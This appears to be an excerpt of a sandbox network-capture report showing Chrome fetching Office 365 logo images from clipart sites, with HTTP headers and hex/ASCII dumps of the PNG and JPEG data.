2024-04-29 00:01:38 UTC	415	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 58 00 00 02 58 08 02 00 00 00 31 04 0f 8b 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 20 00 49 44 41 54 78 9c ec bd 79 b8 65 49 55 27 ba d6 1d 72 a8 ac ca cc ca 2c 6a 1e 20 6b 1e 18 aa 90 a1 40 94 41 b1 00 01 41 05 2d 1a e9 87 fa 68 1b 6d 7d dd ed d4 7e b6 ad b6 e3 1b 3e 5a 6d 15 f9 1c 51 51 db 09 10 6d a5 a5 11 1f 36 e2 43 e9 a6 28 0a 8a aa ac 1c 6b ca bc 79 f3 de cc 7b ef 19 d7 fb 23 62 45 ac 88 58 11 e7 9c 9b 99 b7 f2 72 d6 ef ab ba f9 3b 7b c7 bc f7 8e 15 eb b7 d7 de 1b 89 08 c6 c6 89 13 27 c6 4f 0c 00 17 5f 7c b1 95 6c 25 5b c9 56 b2 95 6c 25 9f cf 25 cf 4c d4 08 83 c1 60 30 18 be c4 60 86 d0 60 30 18 0c 53 0d 33 84 06 83 c1 60 98 6a 98 21 34 18 0c 06 c3 54 c3 0c a1 c1 Data Ascii: PNGIHDRXX1pHYs+ IDATxyeIU'r,j k@AA-hm}~>ZmQQm6C(ky{#bEXr;{'O_\|l%[Vl%%L`0``0S3`j!4T
2024-04-29 00:01:38 UTC	1369	IN	Data Raw: 18 0c 53 0d 33 84 06 83 c1 60 98 6a 98 21 34 18 0c 06 c3 54 c3 0c a1 c1 60 30 18 a6 1a 66 08 0d 06 83 c1 30 d5 30 43 68 30 18 0c 86 a9 86 19 42 83 c1 60 30 4c 35 cc 10 1a 0c 06 83 61 aa 61 9f 61 32 18 0c 06 c3 54 03 89 68 fc d4 9b f1 fb 1a 56 b2 95 6c 25 5b c9 56 b2 95 dc 80 49 a3 06 83 c1 60 98 6a 98 21 34 18 0c 06 c3 54 c3 0c a1 c1 60 30 18 a6 1a 66 08 0d 06 83 c1 30 d5 30 43 68 30 18 0c 86 a9 86 19 42 83 c1 60 30 4c 35 cc 10 1a 0c 06 83 61 aa 61 86 d0 60 30 18 0c 53 0d 33 84 06 83 c1 60 98 6a 98 21 34 18 0c 06 c3 54 c3 0c a1 c1 60 30 18 a6 1a 66 08 0d 06 83 c1 30 d5 30 43 68 30 18 0c 86 a9 86 7d 86 c9 60 30 18 0c 53 8d b9 49 33 6c ba ef 6b 58 c9 56 b2 95 6c 25 5b c9 56 72 03 26 8d 1a 0c 06 83 61 aa 61 86 d0 60 30 18 0c 53 0d 33 84 06 83 c1 60 98 6a 98 Data Ascii: S3`j!4T`0f00Ch0B`0L5aaa2ThVl%[VI`j!4T`0f00Ch0B`0L5aa`0S3`j!4T`0f00Ch0}`0SI3lkXVl%[Vr&aa`0S3`j
2024-04-29 00:01:38 UTC	1369	IN	Data Raw: d4 42 d2 51 0b 52 e7 6a 7f b0 d6 1b 76 fa c3 81 e6 9e 39 5f d1 95 4c 8e 8a 60 4f de 52 05 85 22 b4 9d 44 f0 d6 3b 2f fd b7 2f b9 7a c2 01 30 18 a6 02 13 7b 84 9b ee fb 1a 56 b2 95 3c 66 c9 43 a2 85 d3 bd 47 4e ac ec 3f be ba ff f8 ca 81 85 d3 4f 9c ea f6 c5 e3 0c 42 f4 4c 4c 20 72 5c a7 73 eb 06 04 1d 8e e7 5c ed 0f bb 7d 22 00 22 12 c6 4c 55 2f a3 2d 04 d5 f2 49 bf 30 2d 81 42 f3 ce 4c 1a dd ec 47 d0 4a b6 92 d7 57 b2 49 a3 86 e9 c5 60 48 07 16 56 f7 2f ac 3c b2 b0 ba 7f 61 e5 e0 89 95 c5 d5 41 50 18 9d 4a e9 95 c9 f0 08 bb 17 42 23 01 80 ee 60 18 a4 ce 4e 7f d8 1b f2 a3 0c 10 54 53 00 a7 9c fa 72 72 e2 5e 04 83 80 ae 52 a2 a8 88 46 69 14 d5 17 a7 45 82 8d a8 51 7b 92 d0 60 a8 c3 0c a1 61 8a 70 aa 3b 38 b2 d4 3d b8 d8 3d bc d4 3d b8 d8 39 ba dc 1b 0c c9 Data Ascii: BQRjv9_L`OR"D;//z0{V<fCGN?OBLL r\s\}""LU/-I0-BLGJWI`HV/<aAPJB#`NTSrr^RFiEQ{`ap;8===9
2024-04-29 00:01:38 UTC	1369	IN	Data Raw: 99 88 17 93 42 e5 26 5f e8 4c cd 50 4a e7 af ec 20 90 f2 19 a6 50 64 bd 54 5f ae e6 46 12 80 7d 86 c9 60 a8 62 6e fc 0f 55 c0 e6 fc be 86 95 bc ee 92 3b fd e1 ca cc f6 03 27 56 0f 9e 58 3b 70 62 f5 d0 e2 da e9 ee 00 00 12 6b 37 4a 72 73 b1 2d c1 db eb 78 a9 13 40 bc 5e 8c 49 9a af 4e a4 ec 08 62 ea 97 8d c9 82 45 4b b9 31 55 4d 53 69 d4 75 12 75 69 74 1c 84 60 d1 8a 34 da 54 44 63 63 54 9b 36 42 1a 15 c1 a2 89 34 ba 75 db b6 f6 79 72 9e 9c 75 56 b2 95 bc f1 25 9b 34 6a 88 58 ee 0c 0e 2f 75 0f 2f f7 8e 2e 75 0f 9d ec 3d b9 d2 eb 0f 93 77 60 f2 83 e7 e1 fd 99 00 85 df 35 a4 e4 f3 eb dd c1 70 98 bf f6 cc 07 a1 54 9e 32 e7 97 64 d6 f6 f9 97 87 ea a2 22 04 e3 33 56 b0 a8 2e 8d c6 60 d1 ba 34 8a 89 99 c9 e1 06 4a 95 46 a9 d2 e6 bc 76 c5 f0 26 82 a9 2e 8d 86 fa Data Ascii: B&_LPJ PdT_F}`bnU;'VX;pbk7Jrs-x@^INbEK1UMSiuuit`4TDccT6B4uyruV%4jX/u/.u=w`5pT2d"3V.`4JFv&.
2024-04-29 00:01:38 UTC	1369	IN	Data Raw: 2d 21 86 a1 2f a4 d1 7a 3e ce 1e 3b 9f 4b a3 34 8e 34 5a 68 b6 61 d3 98 76 ac 7c 4e 22 58 6c 90 56 d3 60 30 14 30 43 78 ae 30 24 3a d5 1d 3e 7a aa 7f 64 b9 77 64 c9 c5 b6 3c da af 88 80 c2 b9 e0 c9 93 b7 0c 09 3a e1 0b ec 3d 0a 6f 2c 53 67 c8 96 b5 6a 6a 89 e1 b3 41 e1 4f 59 f6 48 69 54 88 79 2d 4d 72 7d d2 68 99 3f eb c5 b8 b5 57 a4 d1 5a b0 28 a2 38 18 1a 62 84 11 1b 9d 52 1a 2d 76 e5 8a 68 3a ee 65 7f aa d2 28 00 06 49 b6 26 8d 36 0e aa c1 60 00 33 84 67 11 43 a2 27 4f f7 8f 9e ea 1f 59 ee 1d 5d ea 3f 7a aa b7 d4 19 00 22 01 21 41 8d 40 fc 06 3b b8 89 d2 bd b1 8c 3f 42 3b ec f1 1b cb dc b3 01 22 f6 12 83 22 17 a7 42 a9 cb 65 fa 5e 54 0e b5 90 c5 90 b6 22 8d 02 7b 15 95 ec fe 31 75 55 1a d5 83 45 85 34 aa e9 8e b1 f1 59 b0 68 29 8d 86 6c b5 60 51 2d 77 Data Ascii: -!/z>;K44Zhav\|N"XlV`00Cx0$:>zdwd<:=o,SgjjAOYHiTy-Mr}h?WZ(8bR-vh:e(I&6`3gC'OY]?z"!A@;?B;""Be^T"{1uUE4Yh)l`Q-w
2024-04-29 00:01:38 UTC	1369	IN	Data Raw: 63 48 a3 b5 d6 f3 61 a9 4a a3 65 b0 a8 38 df b2 f2 8b 51 33 18 0c 29 66 9e ea 06 9c a7 58 5a 1b 2c ad f5 3b fd 61 98 fe 39 52 26 27 44 e8 43 2e 41 f5 06 bd 5d 44 25 14 c3 7b 8a 1c e7 92 13 ff 03 62 da 94 78 af 0b d9 e3 74 62 26 02 7a 55 93 a7 5c e4 06 16 c4 57 e6 db e9 3d 4d 04 40 72 25 c5 02 41 96 1c ab e0 34 61 34 10 e3 f8 78 d7 12 bd 75 29 09 24 cd 48 88 30 c0 9c a8 24 45 a5 71 cf 58 b9 c1 d7 84 e0 7b 81 be 3b c4 24 6c 29 9b 28 06 d3 d5 1e 89 db e7 f3 a7 bb 62 53 dd 18 6a 24 0e 0d 7a 30 e1 a6 7a c7 9d 87 3a 1b 73 df 27 57 5a 39 24 06 83 21 87 79 84 55 c8 bb 71 bc 25 27 c2 e2 41 29 8d 02 b0 7d 02 45 1a 15 b1 fb ba 34 1a 9f 72 d7 a4 d1 3c 58 34 10 5f 2a 0e 41 54 50 10 25 58 34 6d 1f 69 b9 44 76 65 97 16 b3 aa 43 df 2b cb 53 bd ce 50 3b 01 69 95 06 69 74 Data Ascii: cHaJe8Q3)fXZ,;a9R&'DC.A]D%{bxtb&zU\W=M@r%A4a4xu)$H0$EqX{;$l)(bSj$z0z:s'WZ9$!yUq%'A)}E4r<X4_*ATP%X4miDveC+SP;iit
2024-04-29 00:01:38 UTC	1369	IN	Data Raw: 2c 08 70 11 65 6d 31 9b cf 91 aa 5e 94 dd fd 12 cf 58 08 e2 b5 31 a6 3e 7f fa 05 05 af 9d 21 ff 90 84 62 1f 29 4f 93 d8 7c 4e 98 10 d6 00 21 24 4e 47 2e 04 f1 20 a6 c4 a5 20 af db 52 9a 2b ff 6c 04 89 fc e5 2e 65 68 2b d0 73 eb 47 1b 80 a2 50 19 87 50 e8 ac 35 e2 8f 03 21 1f 1c 14 05 93 ac 41 6d 61 fa b3 fe 76 51 5f 64 c1 c4 ef 89 06 c7 60 98 36 98 34 aa 03 79 f2 f2 f3 94 20 ee 0f f1 07 5d 25 f1 ee 57 85 f8 92 73 49 93 c3 18 c4 ed 2c 64 e3 c0 62 19 61 32 5f 96 af 6e 0e 16 24 a8 70 a0 91 f0 1b 1b 04 f4 5d c1 25 12 ad 12 c4 d5 8e bc 52 60 02 61 4b 18 d9 9c 84 3e 90 54 0e 8b a6 57 90 2c 10 1a c1 a2 69 41 85 cf 84 dc 53 9d 88 b4 b2 69 b1 01 35 67 31 d6 99 e7 16 82 75 d9 68 08 91 a2 b2 d1 ba 28 2a b6 20 6f 8a d2 a8 f9 82 06 c3 48 98 47 58 45 98 be 33 e2 fc 82 Data Ascii: ,pem1^X1>!b)O\|N!$NG. R+l.eh+sGPP5!AmavQ_d`64y ]%WsI,dba2_n$p]%R`aK>TW,iASi5g1uh(* oHGXE3
2024-04-29 00:01:38 UTC	1369	IN	Data Raw: 6a 36 ef d5 6d 25 5b c9 19 26 96 46 37 dd f7 35 d6 57 f2 98 d2 a8 b7 52 15 69 d4 4f c7 3c 31 a9 d2 a8 90 ad 30 27 fe 4f 9c 35 0b 69 14 20 b5 37 99 4c 98 0b 87 91 94 25 29 d2 a8 eb 96 2e 8d 52 18 86 9a 34 ea 44 c5 56 b0 68 a2 3f 6a 4d 2d 15 51 47 88 77 2a 7d 4e c7 36 4b c1 db c7 0e 16 45 45 1a 15 c7 53 97 46 e3 68 80 22 8d ca ec 75 08 5b a8 4b a3 ad ec 44 95 93 69 14 ce ab 6b d0 4a b6 92 37 ac 64 93 46 75 8c 23 8d ca 09 54 97 46 b9 24 55 1a 0d 93 bd 17 ba 94 e7 e8 b9 4a 4d 11 15 01 a3 ba 34 4a 9a de c8 29 c2 27 97 aa d2 28 e4 bb f4 60 51 47 4b 69 34 f4 be 46 a4 f0 58 09 d7 6c 61 e2 60 d1 62 4c cf 20 58 34 90 aa a7 8b 19 53 72 eb ad 17 ae 60 eb 39 fa 5c 11 0d c4 1f 81 6c d7 38 23 6a 30 4c 2f 2c 58 a6 8a 30 a1 67 24 48 a3 04 f1 93 0c 71 56 4c b5 3b 36 37 8a Data Ascii: j6m%[&F75WRiO<10'O5i 7L%).R4DVh?jM-QGw*}N6KEESFh"u[KDikJ7dFu#TF$UJM4J)'(`QGKi4FXla`bL X4Sr`9\l8#j0L/,X0g$HqVL;67
2024-04-29 00:01:38 UTC	1369	IN	Data Raw: 40 26 8d 26 49 75 69 94 44 ce 5c 1a ad 04 8b 32 71 59 27 08 16 2d a5 d1 72 97 1a 2c 5a 93 46 f5 ef 4d 65 83 ac 26 8a b5 eb d2 68 6c 7c 32 a8 5e 1a 65 cd 55 28 a2 81 80 30 59 e9 81 92 42 ae 0c 16 2d a5 d1 14 ca 56 4a 7f 64 d2 28 d7 6a 3e a1 c1 50 85 49 a3 3a 6a d2 28 69 73 21 84 4f d5 6b c1 a2 91 80 54 44 03 11 d2 a8 ab 09 d6 23 8d 46 67 21 55 df 00 a4 06 18 52 e4 d2 68 6a 65 f3 34 ae 9f 15 45 54 8c ce 84 c1 a2 4d 12 21 4d 82 2a 8d b6 cb 13 a6 21 1b 0d c4 bc 2e 25 bf 14 9c 31 27 f9 1a a3 ec 43 21 57 cb 83 93 8c 39 0a 02 42 1a 85 48 14 69 94 db 53 95 46 c1 a4 51 83 61 14 26 f6 08 37 dd f7 35 d6 5d 32 02 e4 cf d1 03 60 b4 38 85 34 4a e1 d9 84 aa 34 aa e9 79 71 ce 04 10 76 49 18 28 2a df a5 16 49 64 d1 dc 8a ed ec 9a 41 fc 66 44 51 06 94 5b ea 89 14 e5 10 f3 Data Ascii: @&&IuiD\2qY'-r,ZFMe&hl\|2^eU(0YB-VJd(j>PI:j(is!OkTD#Fg!URhje4ETM!M!.%1'C!W9BHiSFQa&75]2`84J4yqvI(IdAfDQ[
2024-04-29 00:01:38 UTC	1369	IN	Data Raw: 04 00 25 6a 34 66 cf 7b 11 12 54 a5 d1 2c 9d 36 ec d1 07 8c 24 b7 d1 06 83 21 c0 0c a1 8e 20 8d 06 45 54 91 46 01 64 d4 60 e6 ae 90 f8 9b 6d 8c 3f e3 cc a6 4e 6b 09 29 a5 d1 5c d6 cc a4 51 c8 65 c0 b4 21 69 b0 68 21 8d fa 34 15 69 14 a2 b1 d1 a5 51 de 32 42 1a 4d 47 23 69 7c be 69 12 69 34 8c 6e 4d 1a 2d 76 25 d2 28 54 14 d1 48 e2 f8 55 83 45 a9 7e 28 45 db 21 97 46 fd e8 f1 9b 08 94 03 d7 74 ef 82 8e 90 d7 6a 3e a1 c1 50 85 49 a3 3a 9c 34 2a 15 51 45 1a 85 a0 88 2a d2 28 84 60 51 d6 b7 00 12 69 34 d6 95 f8 48 91 04 d7 b3 2a 8d 06 77 52 95 46 a3 22 9a 4b a3 d2 b8 62 41 20 4b 53 48 a3 32 40 07 e5 ae f4 a9 03 51 4e d2 b0 10 2c aa a9 94 a2 8d 15 69 74 2c cd 15 78 14 bd 72 28 f6 91 9a 5a 29 a8 cc 8e ac 9a a6 23 56 14 57 6f 58 fc f0 32 0f b5 42 d0 1f d3 52 1a Data Ascii: %j4f{T,6$! ETFd`m?Nk)\Qe!ih!4iQ2BMG#i\|ii4nM-v%(THUE~(E!Ftj>PI:4QE(`Qi4H*wRF"KbA KSH2@QN,it,xr(Z)#VWoX2BR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49767	173.208.137.67	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:37 UTC	618	OUT	GET /picdir/middle/80-804103_office-365-is-securable-but-not-secure-microsoft.png HTTP/1.1 Host: www.pinclipart.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-29 00:01:38 UTC	261	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 Date: Mon, 29 Apr 2024 00:01:37 GMT Content-Type: image/png Content-Length: 109421 Last-Modified: Sun, 22 Dec 2019 06:56:00 GMT Connection: close Vary: Accept-Encoding ETag: "5dff1380-1ab6d" Accept-Ranges: bytes
2024-04-29 00:01:38 UTC	16123	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff db 00 43 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff c0 00 11 08 03 95 03 70 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFCCp"}!1AQa"q2
2024-04-29 00:01:38 UTC	16384	IN	Data Raw: 5b db c3 1a 0c b4 92 cd 35 b2 47 1a 28 e5 99 98 28 1c 92 05 7c 03 f1 f3 fe 0a 71 fb 29 7c 3d 8a 6b 4b bf 19 b7 8b 3c 49 a5 19 d2 2f 0f 78 02 28 fc 4e f3 cf 28 40 d1 5c ea fe 65 86 89 62 23 68 55 5b 75 fc d2 7e f3 3e 57 ca 03 7f 2d 3f 16 bf 6a 2f 8f 1f 1b ee 65 97 e2 2f c4 8f 11 6b 36 72 3b 3a 68 91 5e 36 9d a0 40 18 e4 24 5a 36 9f f6 6d 3c 2a f0 15 a4 82 49 0e 01 69 19 b2 6b c0 49 24 e4 92 4f a9 39 35 fc d7 c5 5f 4a bc 75 6f 69 87 e0 ec 82 96 0e 0d 38 c3 32 ce e6 b1 18 9d 76 9d 3c bf 0d 38 e1 e9 49 6e bd ae 2b 15 17 d6 99 fd dd e1 df ec ec ca 70 de c3 1b e2 87 19 62 33 3a ab 96 75 32 2e 13 a6 f0 58 25 25 66 e9 56 ce b1 f4 a7 8c c4 d3 7a c6 5f 57 cb f2 ea 8b 78 56 ea 7e c1 7c 68 ff 00 82 c0 fc 63 f1 69 bc d3 3e 12 78 77 48 f8 6d a4 48 64 8e 1d 5a f1 53 c4 Data Ascii: [5G((\|q)\|=kK<I/x(N(@\eb#hU[u~>W-?j/e/k6r;:h^6@$Z6m<*IikI$O95_Juoi82v<8In+pb3:u2.X%%fVz_WxV~\|hci>xwHmHdZS
2024-04-29 00:01:38 UTC	16384	IN	Data Raw: 97 5f fb 7b af 43 af f4 1f 26 f0 4b c3 0c 93 92 58 7e 14 c0 e2 ea c2 df be cd a7 5f 35 94 9a b7 bc e9 e3 aa d6 c3 a7 75 7f 72 84 57 64 91 fe 2c 71 47 d2 c3 c7 fe 2c f6 90 c6 f8 8b 9b 65 b8 6a 97 5f 55 e1 ca 78 4e 1e a7 08 bb fb b1 ad 95 50 c3 63 64 ad a7 ef 71 75 25 de 4d ea 78 5f 80 7f 66 3f d9 ef e1 72 44 9e 01 f8 39 f0 f7 c3 52 43 8f 2e ee c7 c3 3a 63 6a 01 97 f8 ce a3 71 04 d7 ed 21 ea d2 35 c1 76 3c 96 26 b2 56 38 e3 1b 23 44 8d 17 21 55 15 51 40 cf 40 aa 00 03 d8 0a fa 2a be 79 60 72 78 3d 4f 63 eb 5f a5 e0 f0 18 1c be 92 a1 80 c1 61 30 34 22 ad 1a 38 4c 3d 1c 35 24 92 49 5a 9d 18 42 0b 44 96 8b a1 f8 3e 67 9c 66 f9 d6 26 58 cc e7 35 cc 73 6c 5c db 73 c5 66 78 ec 4e 3f 11 36 dd db 95 6c 55 5a b5 25 77 de 4c 6d 7a 2f 80 ba 6a bf 5b 2f e5 77 5e 77 83 Data Ascii: _{C&KX~_5urWd,qG,ej_UxNPcdqu%Mx_f?rD9RC.:cjq!5v<&V8#D!UQ@@*y`rx=Oc_a04"8L=5$IZBD>gf&X5sl\sfxN?6lUZ%wLmz/j[/w^w
2024-04-29 00:01:38 UTC	16384	IN	Data Raw: ff 00 81 a3 ff 00 91 29 78 f1 b8 ef a6 7f 66 1f fa fc f3 be d9 ff 00 80 be 5f 97 f6 5f f6 f7 6f fe 1d bc f9 cd 7a 2f 80 ba 6a bf 5b 2f e5 77 40 07 fc 20 43 fe 82 a7 ff 00 00 87 ff 00 25 d0 3c 04 01 07 fb 54 f1 cf fc 79 0f fe 4b af 43 a2 80 3c f0 f8 f4 02 47 f6 51 e3 8f f8 fd 1f fc 89 47 fc 27 a3 fe 81 47 ff 00 03 47 ff 00 22 57 9d b7 53 f5 3f ce 92 80 3d 1b 8f 1b 8e fa 67 f6 61 ff 00 af cf 3b ed 9f f8 0b e5 f9 7f 65 ff 00 6f 76 ff 00 e1 db ca 7f c2 04 3f e8 2a 7f f0 08 7f f2 5d 1e 02 e9 aa fd 6c bf 95 dd 7a 1d 00 79 e0 f0 10 04 1f ed 53 c7 3f f1 e4 3f f9 2e 83 e3 d0 09 1f d9 47 8e 3f e3 f4 7f f2 25 7a 1d 7c f0 dd 4f d4 ff 00 3a 00 f4 4f f8 4f 47 fd 02 8f fe 06 8f fe 44 a5 e3 c6 e3 be 99 fd 98 7f eb f3 ce fb 67 fe 02 f9 7e 5f d9 7f db dd bf f8 76 f3 e7 35 Data Ascii: )xf__oz/j[/w@ C%<TyKC<GQG'GG"WS?=ga;eov?*]lzyS??.G?%z\|O:OOGDg~_v5
2024-04-29 00:01:38 UTC	16384	IN	Data Raw: ff 00 80 be 5f 97 f6 5f f6 f7 6f fe 1d bc 80 79 cd 2a f5 1f 51 fc eb d1 3f e1 02 1f f4 15 3f f8 04 3f f9 2e 81 e0 20 08 3f da a7 8e 7f e3 c8 7f f2 5d 00 7c 2d ff 00 05 6f ff 00 93 1c f8 9d ff 00 61 4f 06 ff 00 ea 4d a7 d7 f1 97 5f d8 17 fc 15 6b c5 a3 53 fd 8a be 24 d9 7d 83 c9 f3 35 4f 08 7e f3 ed 3e 66 36 78 92 c1 be e7 d9 d3 ae 3f bd 5f c7 ed 7f 9f bf 4a 7f f9 38 39 6f fd 92 f8 1f fd 58 66 87 fb 41 fb 3d 3f e4 ca 67 bf f6 70 b3 8f fd 52 70 e0 51 45 15 fc d2 7f 78 05 14 51 40 05 14 51 40 05 14 51 40 05 14 51 40 05 14 51 40 05 14 51 40 05 14 51 40 05 14 51 40 05 7e f5 ff 00 c1 06 bf e4 ac 7c 74 ff 00 b1 03 40 ff 00 d4 81 ab f0 52 bf 73 bf e0 86 fa df f6 27 c5 2f 8d 92 9b 6f b4 f9 fe 04 d0 a3 db e7 79 3b 76 eb ac d9 cf 95 2e 73 d3 18 1f 5a fd 67 c0 cf f9 Data Ascii: __oy*Q???. ?]\|-oaOM_kS$}5O~>f6x?_J89oXfA=?gpRpQExQ@Q@Q@Q@Q@Q@Q@Q@~\|t@Rs'/oy;v.sZg
2024-04-29 00:01:38 UTC	16384	IN	Data Raw: f2 fe cb fe de ed ff 00 c3 b7 9f 39 af 45 f0 17 4d 57 eb 65 fc ae e8 00 ff 00 84 08 7f d0 54 ff 00 e0 10 ff 00 e4 ba 07 80 80 20 ff 00 6a 9e 39 ff 00 8f 21 ff 00 c9 75 e8 74 50 07 9e 1f 1e 80 48 fe ca 3c 71 ff 00 1f a3 ff 00 91 28 ff 00 84 f4 7f d0 28 ff 00 e0 68 ff 00 e4 4a f3 b6 ea 7e a7 f9 d2 50 07 a3 71 e3 71 df 4c fe cc 3f f5 f9 e7 7d b3 ff 00 01 7c bf 2f ec bf ed ee df fc 3b 79 4f f8 40 87 fd 05 4f fe 01 0f fe 4b a3 c0 5d 35 5f ad 97 f2 bb af 43 a0 0f 3c 1e 02 00 83 fd aa 78 e7 fe 3c 87 ff 00 25 d0 7c 7a 01 23 fb 28 f1 c7 fc 7e 8f fe 44 af 43 af 9e 1b a9 fa 9f e7 40 1e 89 ff 00 09 e8 ff 00 a0 51 ff 00 c0 d1 ff 00 c8 94 bc 78 dc 77 d3 3f b3 0f fd 7e 79 df 6c ff 00 c0 5f 2f cb fb 2f fb 7b b7 ff 00 0e de 7c e6 bd 17 c0 5d 35 5f ad 97 f2 bb a0 03 fe 10 Data Ascii: 9EMWeT j9!utPH<q((hJ~PqqL?}\|/;yO@OK]5_C<x<%\|z#(~DC@Qxw?~yl_//{\|]5_
2024-04-29 00:01:38 UTC	11378	IN	Data Raw: c9 f2 4a 52 b3 95 2a 2e b6 6b 8c 8e d7 4e 14 96 1f 08 9e ea f1 c6 4d 5d 6d 63 f9 6f 8b ff 00 68 6f 86 19 57 b5 a3 c2 1c 33 c4 dc 5b 88 8d d5 3c 46 29 61 b8 77 2b a8 fa 4a 35 b1 0f 1b 99 38 b7 ad a7 95 d2 76 ea 99 fc 56 fc 3a fd 8b bf 69 df 8a 46 07 f0 a7 c1 ff 00 17 35 95 c1 5f 2f 55 d6 6c 1b c3 da 59 56 c6 24 17 ba d9 b1 8a 48 f9 c9 78 8c 80 57 e8 a7 c1 bf f8 22 5f c6 2f 1a 3f da 3e 24 fc 46 f0 97 80 ec e1 f2 1a e6 cb 48 b7 bb f1 56 ae ab 30 7c a2 ed 3a 66 9a b2 27 96 c0 95 bd 9e 3e 46 0b 73 8f ea a0 2a a8 01 54 28 1c 00 00 00 0f 40 05 79 ef 8f 49 03 4a c1 c7 37 bd 3f ed d2 bf 66 c8 be 8b fc 03 97 7b 3a 99 be 27 38 e2 0a d1 b3 9c 2b 62 63 97 e0 e4 d5 b6 a1 81 8c 31 2a 37 be 92 c6 cf 47 66 d9 fc b7 c5 ff 00 b4 03 c6 4c f3 da d1 e1 ac 07 0c f0 66 1a 77 54 Data Ascii: JR.kNM]mcohoW3[<F)aw+J58vV:iF5_/UlYV$HxW"_/?>$FHV0\|:f'>FsT(@yIJ7?f{:'8+bc1*7GfLfwT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49771	104.21.51.164	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:37 UTC	663	OUT	GET /20180327/wfq/kisspng-microsoft-office-365-office-online-computer-softwa-office-5abb01d66a0b39.1638325715222051424344.jpg HTTP/1.1 Host: img2.pngdownload.id Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-29 00:01:38 UTC	720	IN	HTTP/1.1 200 OK Date: Mon, 29 Apr 2024 00:01:38 GMT Content-Type: image/jpeg Content-Length: 54749 Connection: close Last-Modified: Wed, 28 Mar 2018 02:45:42 GMT ETag: "5abb01d6-d5dd" Expires: Thu, 09 May 2024 00:00:46 GMT Cache-Control: max-age=864000 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RWSs%2BtWSkqk%2BY1R%2FxCRA5kJYZls1n%2F%2FjBUWxuMDXxzwdXKua7pICuZd1hlk4s940sw5K5xuDI4v49x5NWQRcZYCqhu2xkzl4MyRYgzxEOMwk3wMyi4havAVlDn0YsZ9S7cnf9yjb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87bb04c47a1122ec-ORD alt-svc: h3=":443"; ma=86400
2024-04-29 00:01:38 UTC	649	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff e1 03 2b 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c Data Ascii: JFIFExifII*+http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xml
